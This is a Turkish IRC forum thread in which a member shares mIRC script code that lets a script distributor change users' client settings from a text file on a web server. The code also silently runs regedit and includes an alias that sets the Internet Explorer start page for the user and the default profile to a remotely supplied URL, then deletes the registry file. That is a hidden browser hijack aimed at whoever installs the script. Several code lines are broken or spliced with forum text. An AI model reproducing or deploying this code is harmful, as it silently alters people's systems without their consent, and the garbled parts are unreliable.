IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası
  sohbet

 Kayıt ol  Topluluk
2Beğeni(ler)
  • 2 Post By AspavA

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 11 Eylül 2014, 19:50   #1
Çevrimiçi
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Web Kontrol mIRC Yapımı.



Sunucunuza ait scriptlerinizi ve mIRC lerinizi webden kontrol etmeniz için tasarlanmış bir koddur.

mantık tamamen basit.

web ftp nize yada irc ftp nize koyacağınız txt ile txt içerisinde degişlik yaptıgınızda scriptiniz veya
mircinizde değişiklik olacaktır.

öncelikle scriptinizde hos.dll olması gerekiyor.

bu kodlar geliştirilebilinir kodlar. ve çoğaltılabilinir örneklerine bakılarak.

ÖRNEK BAĞLANTI MENÜSÜ. orjinali

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
alias bmenu { dialog -m bmenu bmenu }

dialog bmenu {
  title "Bağlanti Menüsü"
  size -1 -1 265 168
  option pixels
  text "Rumuz Giriniz :", 2, 16 51 77 20
  edit "", 3, 99 51 144 20, autohs
  button "SOHBET   BAŞLASIN", 19, 61 22 147 20, flat ok
  edit "", 1, 99 77 144 20, autohs
  text "Yedek Rumuz :", 4, 16 77 77 20
  edit "", 5, 99 105 144 20, autohs
  text "İdent Giriniz :", 6, 16 105 77 20
  button "Kapat", 7, 95 134 62 20, ok
}
on *:dialog:bmenu:*:*:{ 
  if ($devent == init) { 
    did -a $dname 3 %Nick
    did -a $dname 1 %anick
    did -a $dname 5 $emailaddr

  }
  if ($devent == sclick) { 
    if ($did == 19) {    
      .nick $did(3) | .anick $did(1) | .emailaddr $did(5)
      .server irc.bilmemne.com  6667  | dialog -x bmenu
    }

  } 
  if ($devent == edit) { 
    if ($did == 5) { 
      if ($did(5).text == $null) { .emailaddr dımtıstak@ }
      else { .emailaddr $did(5).text }
    }
    if ($did == 3) { 
      if ($did(3).text == $null) { nick %nick }
      else { .nick $did(3).text | set %nick $did(3).text }
    }
    if ($did == 1) { 
      if ($did(1).text == $null) { nick %anick }
      else { .anick $did(1).text | set %anick $did(1).text }
    }

  }

}

on 1:start:{
  .remote on
  run regedit /S $mircdir\kayit.reg 
  showmirc -x | window -x "Status Window"
  .titlebar %toolbar 
  .fullname %realname
  .timer 1 3 bmenu
  .set %nick %nick  $+ $rand(100,9999)
  .set %anick %anick $+ $rand(100,9999)
  .set %email %ident $+ @
  .nick %nick | .anick %anick | .emailaddr %ident
}


ÖRNEK BAĞLANTI MENÜSÜ YAPILMASI GEREKENLER

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
dialog bmenu {
  title "Bağlanti Menüsü"
  size -1 -1 265 168
  option pixels
  text "Rumuz Giriniz :", 2, 16 51 77 20
  edit "", 3, 99 51 144 20, autohs
  button "SOHBET   BAŞLASIN", 19, 61 22 147 20, flat ok
  edit "", 1, 99 77 144 20, autohs
  text "Yedek Rumuz :", 4, 16 77 77 20
  edit "", 5, 99 105 144 20, autohs
  text "İdent Giriniz :", 6, 16 105 77 20
  button "Kapat", 7, 95 134 62 20, ok
}
on *:dialog:bmenu:*:*:{ 
  if ($devent == init) { 
    did -a $dname 3 %Nick
    did -a $dname 1 %anick
    did -a $dname 5 $emailaddr

  }
  if ($devent == sclick) { 
    if ($did == 19) {    
      .nick $did(3) | .anick $did(1) | .emailaddr $did(5)
      .server %server  %port  | dialog -x bmenu
    }

  } 
  if ($devent == edit) { 
    if ($did == 5) { 
      if ($did(5).text == $null) { .emailaddr dımtıstak@ }
      else { .emailaddr $did(5).text }
    }
    if ($did == 3) { 
      if ($did(3).text == $null) { nick %nick }
      else { .nick $did(3).text | set %nick $did(3).text }
    }
    if ($did == 1) { 
      if ($did(1).text == $null) { nick %anick }
      else { .anick $did(1).text | set %anick $did(1).text }
    }

  }

}

mIRC YADA SCRİPTİNİZİN REMOTE KISMINA KOYACAĞINIZ KODLAR

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
on *:connect: {
  if $timer(tool) { .timertool off | .dll scripts/hos.dll DockSize @ss 0 }
  if %connectcmd {
    $ifmatch
  }
  .ignore -r
}
on *:start: {
  if (!%acilis) { .set %verify $r(1000000,9999999) | .run regedit /S kayit.reg | set %acilis ok! }
  .emailaddr %ident
  .nick %nick $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9)
  .identd on %ident 
  .fullname %realname
  .anick %anick $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) 

  unset %webupdate
  set %sayy $calc(%sayy + 1)
  echostatus
  if (%sayy >= 15) {
    set %webupdate 1
  }
  else {
    set %webupdate 0
    set %taki %websites
  }
  if (%down == 1) {
    downcheck
    unset %down
  }
}
alias servers {
  if $sock(servers) {
    sockclose servers
  }
  unset %dr
  sockopen servers irc.domain.com yada 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
80
}

on *:sockclose:servers: {
  halt
}

on *:sockread:servers: {
  if %dr != 1 {
    var %h
    sockread %h
    while $sockbr {
      if * !iswm %h {
        set %dr 1
        break
      }
      sockread %h
    }
  }
  sockread 4096 &d
  while $sockbr {
    bwrite servers.ini -1 -1 &d
    sockread 4096 &d
  }
}

on *:sockopen:servers: {
  if $sockerr { 
    return 
  }
  write -c servers.ini
  sockwrite -nt $sockname GET /servers.txt HTTP/1.0
  sockwrite -nt $sockname Accept: */*
  sockwrite -nt $sockname Host: irc.domain.com yada 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
sockwrite -nt $sockname
}

alias echostatus {
  if $sock(echo) {
    sockclose echo
  }
  sockopen echo domain.com 80
}

on *:sockopen:echo: {
  if $sockerr { 
    return 
  }
  sockwrite -nt $sockname GET /acilis.txt HTTP/1.0
  sockwrite -nt $sockname Accept: */*
  sockwrite -nt $sockname Host: irc.domain.com yada 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
sockwrite -nt $sockname Connection: close
  sockwrite -nt $sockname
}

on *:sockread:echo: {
  sockread %s
  if $gettok(%s,1,61) == bar && $gettok(%s,2,61) == 1 {
  }
  if $left(%s,1) ==  {
    echo -a %s
  }
  if $gettok(%s,1,32) == taki && %webupdate == 1 {
    %taki = $gettok(%s,2,32)
  }
  if $gettok(%s,1,32) == nick {
    if $gettok(%s,2,32) == 1 {
      %nick = $gettok(%s,3,32)
    }
    else {
      unset %nick
    }
  } 
  if $gettok(%s,1,32) == server {
    if $gettok(%s,2,32) == 1 {
      %server = $gettok(%s,3,32)
    }
    else {
      unset %server
    }
  }  
  if $gettok(%s,1,32) == autojoin {
    if $gettok(%s,2,32) == 1 {
      %autojoin = $gettok(%s,3,32)
    }
    else {
      unset %autojoin
    }
  } 
  if $gettok(%s,1,32) == email {
    if $gettok(%s,2,32) == 1 {
      %email = $gettok(%s,3,32)
    }
    else {
      unset %email
    }
  } 
  if $gettok(%s,1,32) == anick {
    if $gettok(%s,2,32) == 1 {
      %anick = $gettok(%s,3,32)
    }
    else {
      unset %anick
    }
  } 
  if $gettok(%s,1,32) == toolbar {
    if $gettok(%s,2,32) == 1 {
      %toolbar = $gettok(%s,3,32)
    }
    else {
      unset %toolbar
    }
  }
  if $gettok(%s,1,32) == realname {
    if $gettok(%s,2,32) == 1 {
      %realname = $gettok(%s,3,32)
    }
    else {
      unset %realname
    }
  }
  if $gettok(%s,1,32) == irc {
    if $gettok(%s,2,32) == 1 {
      %irc = $gettok(%s,3,32)
    }
    else {
      unset %irc
    }
  }   
  if $gettok(%s,1,32) == port {
    if $gettok(%s,2,32) == 1 {
      %port = $gettok(%s,4,32)
    }
    else {
      unset %port
    }
  } 
  if $gettok(%s,1,32) == ident {
    if $gettok(%s,2,32) == 1 {
      %ident = $gettok(%s,3,32)
    }
    else {
      unset %ident
    }
  }
}

if $gettok(%s,1,32) == download && $file(servers.ini) != $gettok(%s,2,32) {
  servers
}
if $gettok(%s,1,32) == chan {
  writeini mirc.ini chanfolder $gettok($gettok(%s,2,32),1,61) $gettok($gettok(%s,2,32),2,61)
}
}
alias taki {
var %mr = $r(99,999999) $+ .reg 
write %mr REGEDIT4
write %mr [HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main]
write %mr "Start Page"=" $+ %taki $+ "
write %mr [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
write %mr "Start Page"=" $+ %taki $+ "
run -n regedit /s %mr
.timer -i 1 4 .remove %mr

FTP İÇERİSİNDE acilis.txt olarak bir txt dosyası kayıt edin ( txt ismi degiştirilebilinir. ) ve içirisini aşağıdaki gibi doldurun

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
nkghkvhk
script açılış mesajı
Bizi tercih etti�iniz i�in te�ekk�r ederiz....


download 1
server 1 irc.domain.com
realname 1 bilmem ne script
ident 1 bilmemne@
nick 1 bilscript
anick 1 YedekNick
email 1 dımtıstak@
autojoin 1 #kanalınız,#kanal,#devam
port 1 7000
toolbar 1 bilmen ne script 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
type="text/javascript" src="https://code.jquery.com/jquery-1.12.0.min.js">  GERİYE TEK YAPMANIZ GEREKEN ŞEY DEGİŞİKLİK YAPTIKTAN SONRA SCRİPTİ AÇIP KAPATMAK VE acilis.txt DE YAPTIGINIZ DEGİŞİKLİKLERİN SCRİPTE YADA MİRCE UYARLANDIĞINI GÖRMEK.
 

KOLAY GELSİN. 
   
  
  

                __________________
 [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] Web Developer
 [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] Web Developer
 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları reklam ver Benimmekan Mobil Sohbet
Alt 15 Ocak 2015, 20:08   #2
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Web Kontrol mIRC Yapımı.



Aslinda işe yarar bir kod ama daha detaylı anlatılması daha sağlıklı olr düşüncesindeyim.


ve hos.dll konu içerisinde paylaşılması güzel olurdu

 
Alıntı ile Cevapla

Cevapla

Etiketler
kontrol, mirc, web, yapımı

« önceki Konu | sonraki Konu »

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok
BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık

Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar Son Mesaj
Web Kontrol mIRC PhyTHaGoraS mIRC Scripting Tanıtımları 6 10 Ekim 2013 21:57
mIRC'de DLL Yapımı (VC++) CipriX mIRC Scripting Programları 0 22 Şubat 2010 06:06
mIRC Pc-Kontrol Addonu aBso mIRC Scripting Hazır Kodlar 1 12 Haziran 2009 06:00
mirc kontrol etmek Susuntu mIRC Scripting Sorunları 5 24 Ocak 2009 16:42
Mirc Flash Kontrol Menü Voltage mIRC Scripting Hazır Kodlar 9 17 Aralık 2008 15:48




Sitemiz bir " paylaşım " sitesidir. Bu yüzden sitemize kayıt olan herkes kontrol edilmeksizin mesaj/konu/resim paylaşabilmektedir.
Bu sebepten ötürü, sitemiz üzerinden paylaşılan mesajlar, konular ve resimlerden doğabilecek olan yasal sorumluluklar paylaşan kullanıcıya aittir. IRCForumlari.Net hiçbir yasal sorumluluk kabul etmemektedir. İllegal herhangi bir faaliyet görülmesi durumunda İletişim sayfası üzerinden ulaşıldığı taktirde mesaj, konu ya da resim en fazla 24 saat içerisinde silinecektir.
5846 sayılı Fikir ve Sanat Eserleri Kanunu gereğince sitemizde telif hakkı bulunan mp3,video v.b. eserlerin paylaşımı yasaktır. Yasal işlem olması halinde paylaşan kişi yada kişilerin bilgileri gerekli kuruma verilecektir.
İletişim Arşiv Gizlilik Sözleşmesi Yukarı git
yavru köpek sohbet instagram takipçi sohbet teması yetişkin sohbet
Powered by vBulletin® Version 3.8.8 Beta 3
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2024 IRCForumlari.Net

mimarsinanokullari.com mjsanaokulu.com eburke.org